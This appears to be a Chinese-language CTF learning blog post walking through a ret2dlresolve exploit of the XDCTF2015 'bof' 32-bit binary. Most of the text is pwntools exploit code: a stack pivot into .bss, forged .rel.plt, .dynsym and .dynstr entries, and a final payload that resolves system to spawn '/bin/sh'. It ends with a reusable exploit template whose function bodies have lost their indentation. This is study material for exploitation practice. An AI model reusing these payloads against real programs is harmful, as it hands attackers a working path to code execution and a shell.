时隔多天…终于把利用的原理也给搞明白了,上一篇只是说到dl_runtime_resolve的基础知识,这里就演示一下整个函数重定向攻击的流程

知识储备

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
//gcc -m32 -fno-stack-protector -no-pie -s bof.c -o bof

利用思路

  1. 劫持eip到PLT[0]的地址,向_dl_fixup传参
    • 只需能传递index_arg参数
  2. 控制index_arg的大小,使是程序引向伪造的rel.plt位置
    • index_arg指向Elf32_Rel->r_info
  3. 伪造rel.plt的内容,使reloc引向伪造的dynsym位置
    • r_info指向Elf32_Rel->st_name
  4. 伪造dynsym的内容,使dynsym引向伪造的dynstr位置
    • st_name指向dynstr
  5. 伪造dynstr为任意库函数,如system
    • 向伪造的栈中写入write

攻击流程

利用Stack Pivot转移栈

先将栈转移到我们伪造的栈中,然后执行其中内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
offset = 112*"a"
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x080492d9# pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
stack_size = 0x800#在bss段伪造栈空间
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
payload = offset
payload += p32(read_plt)
payload += p32(ppp_ret)#在函数结束后释放read的三个参数,保持栈平衡
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)#把伪造的栈地址放到ebp中,勾引esp
payload += p32(base_stage)
payload += p32(leave_ret)#将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
io.recvuntil("!\n")
io.sendline(payload)
#stage1--控制EIP进行栈转移,跳到指定的bss段
cmd = "/bin/sh"
payload2 = "bbbb"#接上上一步的leave中的pop ebp;ret
payload2 += p32(write_plt)
payload2 += "cccc"#write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))#write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
io.sendline(payload2)
io.interactive()

这是一个简单的在伪造的栈内执行write进行输出的过程,下面继续

劫持reloc_arg

为了找到.rel.plt,控制EIP跳转到PLT[0],然后将我们伪造的index_offset压入函数执行

PLT[0]处的汇编指令

plt_0

write@plt的汇编指令

wirte的reloc_arg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
index_offset = 0x20 #write的reloc_arg objdump -d -j .plt bof
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.rel.plt

由于dl_fixup函数内是根据距离reloc_arg的偏移来确定rel.plt表位置的

所以这里只要劫持index_info,就可以让程序指向我们伪造的.rel.plt表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt_0:0x%x",plt_0)
success("rel_Plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
r_info = 0x607 #Elf32_rel->r_info
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]便是这里,即 4*7=28
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.dynsym

伪造.dynsym使.dynsym->st_name指向伪造的.dynstr

先看一下在IDA中.dynsym的结构

IDA中的ELF Symbol Table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = 0x4c#[write字符串地址-dynstr] ROPgadget --binary ./bof --string "write"
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.dynstr

伪造.dynstr使.dynsym->st_name指向我们自己输入的write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "write\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

到这里因该就能明了这一系列操作是怎么实现的了,接下来直接更换st_name和参数

伪造system的.dynstr

伪造.dynstr使.dynsym->st_name指向伪造的其他函数如system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
##stage5--伪造.dynstr使.dynsym->st_name指向我们自己输入的system
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh\x00"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(base_stage + 80)
payload2 += "gggg" #由于前面的pop esi ; pop edi ; pop ebp ; ret原因
payload2 += "hhhh" #这里必须要凑齐三个参数,随便填即可
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "system\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

到这里就彻底完成了函数重定位攻击的所有流程,ret2dlresolve可以说是我学PWN以来最认真的、耗时最长、注释最多(基本上每行一注释简直让人头皮发麻…)的一个了,看着下面返回的shell真的是深感欣慰…

EXP模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
def stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret):
payload = offset
payload += p32(input_plt)+p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
io.recvuntil("!\n")
io.sendline(payload)
def ret2dl(f_sym,fake_synstr,arg_1,arg_2,arg_3):
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
f_sym = elf.got[f_sym] #Elf32_rel->r_offset
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#数据对齐 因为Elf32_sym结构体都是0x10对齐的
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info
fake_reloc = p32(f_sym)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,st_name指向[base_stage+36+0x10]
payload2 = "bbbb" + p32(plt_0) + p32(index_offset) + p32(0) #接上上一步的leave中的pop ebp;ret
payload2 += p32(base_stage + 80) + p32(arg_2) + p32(arg_3)#使用system的参数
payload2 += fake_reloc + ("f"*align) #[base_stage+28].rel.plt表
payload2 += fake_sym #[base_stage+36].synsym表
payload2 += fake_synstr #[base_stage+36+0x10].synstr表
payload2 += "d"*(80-len(payload2))
payload2 += arg_1 #[base_stage+80] /bin/sh
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

offset = 112*"a"
input_plt = elf.plt['read'] #input函数,这里使用read
ppp_ret = 0x080492d9 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db #把伪造的栈地址放到ebp中,勾引esp
leave_ret = 0x08049105 #将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
stack_size = 0x800
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
system_str = "system\x00"
binsh_str = "/bin/sh\x00"
stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret)
ret2dl("write",system_str,binsh_str,0,0)

结尾

{% note success %} ### 收获总结 * ELF文件结构 * 栈平衡 * 栈转移 * 函数重定位攻击 * 对GDB调试更加熟练 * 以及Python神奇的按位与运算和补位操作 {% endnote %} {% note info no-icon %} ### 学习链接 * * * * {%endnote%}